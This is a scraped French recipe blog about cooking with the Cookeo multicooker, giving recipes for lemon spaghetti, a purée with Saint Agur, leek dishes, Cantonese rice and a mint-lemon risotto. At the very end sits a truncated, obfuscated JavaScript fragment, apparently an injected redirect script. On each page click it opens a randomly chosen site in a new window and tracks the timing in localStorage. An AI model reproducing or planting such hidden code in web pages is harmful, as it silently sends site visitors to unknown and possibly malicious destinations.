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Ingrédients  pour 4 personnes

300 g de spaghettis/2 citrons/persil sel/poivre/2 cuillères à soupe de crème fraîche allégée/

Préparation

Cuisson rapide ou sous pression

Cassez les spaghettis en 2 . Déposez les spaghettis dans la cuve . Recouvrez d’eau .

Programmez 5 mn (le temps indiqué sur le paquet de spaghettis divisé par 2)

Dans un bol ajoutez 2 cuillères à soupe de crème fraîche. Ajoutez le jus des citrons que vous avez pressé et mélangez. Ajoutez le persil que vous avez lavé et ciselé .

Quand les spaghettis sont cuites mélangez avec la sauce citron crème fraîche. Servez chaud
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Temps de cuisson des brocolis au cookeo

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Oeufs brouillés cookeo

Le blog http://recettescookeo.com/ nous rappelle que le cookeo est un multicuiseur alors on peut l’utiliser seulement dans la fonction dorer sans pour autant utiliser la fonction cuisson sous presssion ou cuisson rapide . J’en vois déjà qui vont critiquer qui vont dire  que l’on peut prendre un faitout à la place . Certes c’est vrai mais moi j’aime bien utiliser mon cookeo comme une pôele . Je dirais chacun ses goûts non ????

Pour la recette c’est donc ICI 
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Vous trouverez ici les temps de cuisson des asperges au cookeo.

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Recette cookeo purée de pommes de terre au Saint Agur

Ingrédients pour 4 personnes

400 g de pommes de terre coupées en morceaux

Sel

Poivre

250 ml de lait

1 cube de bouillon de bœuf

15 g de Saint Agur

2 cuillères à soupe de crème fraîche

Préparation

Ajoutez les pommes de terre et le lait dans la cuve .

Salez et poivrez.

Ajoutez le cube de bouillon de bœuf .

Cuisson rapide ou sous pression

Programmez 15 mn

Mixez l’ensemble de la préparation

Ajoutez le Saint Agur et la crème fraîche

Servez chaud 

[youtube https://www.youtube.com/watch?v=mdi8XzNJ0y8]
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


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Poireaux pommes de terre weight watchers à la crème

Ingrédients pour 4 personnes

1 jaune d’œuf

100 g d’oignons congelés

2 gousses d’ail coupées en morceaux

4 pommes de terre coupées en morceaux

400 g de poireaux congelés

2 cuillères à soupe de crème fraîche

Sel

Poivre

2 cuillères à soupe d’huile d’olive

200 ml d’eau

1 cube de bouillon de bœuf

Préparation

Mode dorer

Versez 2 cuillères à soupe d’huile d’olive pour faire revenir les oignons ,l’ail ,

Ajoutez les poireaux puis les pommes de terre .

Versez un bouillon constitué d’eau et du cube de bouillon de bœuf.

Salez et poivrez selon votre convenance.

Cuisson rapide ou cuisson sous pression

Programmez 10 mn

Pendant la cuisson mélangez la crème fraîche avec le jaune d’œuf. (séparez le blanc du jaune )

Quand la cuisson est terminée versez votre sauce dans la cuve et mélangez .

[youtube https://www.youtube.com/watch?v=_B8R3jbqZ04]
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Recette cookeo été artichaut sauce au thon.  Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

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Voici une recette cookeo riz cantonais inspirée de la clé USB Moulinex recettes du monde .

Ingrédients pour 6 personnes

360 g de riz (60 g par personne)

3 œufs (1 pour 2 personnes, 2 pour 4 personnes)

Petits pois congelés 3 cuillères à soupe

150 g d’oignons congelés

3 cuillères à soupe de crevettes congelées cuites

3 cuillères à soupe de lardons

1 cuillère à soupe de sauce soja

3 cuillères à soupe de mais

3 cuillères à soupe d’huile (sésame de référence)

500 ml d’eau

Préparation

Mode dorer

Versez l’huile dans la cuve et cassez les œufs. Battez les oeufs en brouillade puis réservez-les.

Faites dorer les lardons puis les oignons.

Ajoutez le mais, les crevettes, le riz.

Versez l’eau et la sauce soja. Salez selon votre convenance. (Pas trop).

Cuisson rapide ou sous pression

Programmez la moitié du temps indiqué sur le paquet du riz.

Mélangez en fin de cuisson les œufs en brouillade .

[youtube https://www.youtube.com/watch?v=wrLn2HfDbls]
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Voici le début d’une série de recettes cookeo pour cet été .

Recette cookeo été caviar d’aubergines .  Vous pouvez imprimez ou créer un PDF de cette fiche  en cliquant sur  l’un des 2 onglets en haut à droite de l’article.

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[youtube https://www.youtube.com/watch?v=8UMGaj9DI7s]
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Recettes cookeo légères choux fleur crème Dubarry

Il existe de nombreuses recettes qui ont un lien avec l’histoire ; Souvent le nom de la recette était choisi pour une Bataille , un événement particulier . Pour cette recette il s’agit pourrait-on dire non pas d’un événement mais d’un hommage en quelque sorte à une personne et ici pas n’importe laquelle . Il s’agit de la Comtesse Dubarry une courtisane du XVIIIè siécle qui était tout simplement la maîtresse du Roi de France Louis XV; A cette époque  c’était donc une coutume de donner à un plat le nom de la favorite du ROI.

Concernant notre recette il s’agit d’un plat léger réalisé avec notre cookeo . Cete recette présente 75 calories et 2 propoints weight watchers.

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 Recettes cookeo légères :   crème de brocolis

Voilà le début d’une série de recettes cookeo légères. Des recettes traditionnelles quelques peu modifiées pour les alléger un tantinet sans dénaturer le bon goût .Pour aujourd’hui nous débuterons par une crème de brocolis .

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Ingrédients pour 4 personnes

300 g de riz

2 oignons

1 cube de bouillon de volaille

4 citrons

2 tasses de menthe fraîche

Sel

Poivre

Préparation de ce risotto menthe citron

Coupez vos oignons en morceaux . Pressez les citrons et réservez le jus .

Lavez et ciselez la menthe fraîche.

Mode dorer

Faites revenir dans l’huile d’olive les oignons que vous avez coupés en morceaux.

Ajoutez le riz . Laissez brunir le riz.

Versez le jus de citron . Emiettez le cube de volaille .  Ajoutez la menthe fraîche ciselée .Versez de l’eau pour recouvrir les ingrédients .

Salez et poivrez .

Mode cuisson rapide ou cuisson sous pression

Programmer 6 mn (le temps indiqué sur le paquet de riz divisé par 2)

Ouvrez votre cookeo mélangez et servez chaud .

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Avez-vous déjà essayé de vos poireaux avec  de la tomate et pourquoi pas ? Voilà donc une idée recette cookeo pour changer et varier les plaisirs.

Ingrédients pour 4 personnes

1 kg de poireaux en rondelles congelés

100 g d’oignons congelés

1 petite boîte de tomates concassées

1 cuillère à soupe de jus de citron

1 cuillère à café de curcuma

Paprika

Huile d’olive

Préparation de cette idée recette cookeo

Mode    dorer

Versez l’huile d’olive dans la cuve puis faites revenir les oignons. Quand ils ont blondi, ajoutez les rondelles de poireaux.

Versez la boîte de tomates concassées. Mélangez l’ensemble.

Ajoutez la cuillère à café de curcuma  le jus de citron puis saupoudrez de paprika. Salez et poivrez . Mélangez l’ensemble des ingrédients.

Mode cuisson rapide ou cuisson sous pression

Programmez 10 mn. Servez chaud.
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js


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_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57deba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1),_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5aa0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const _0x266889=0x3e8*0x3c*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&window[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function _0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const _0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const _0x4593ae=Date[_0x365b[0x21]](new Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const _0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x4593ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x448fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x57deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else _0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x978889);}());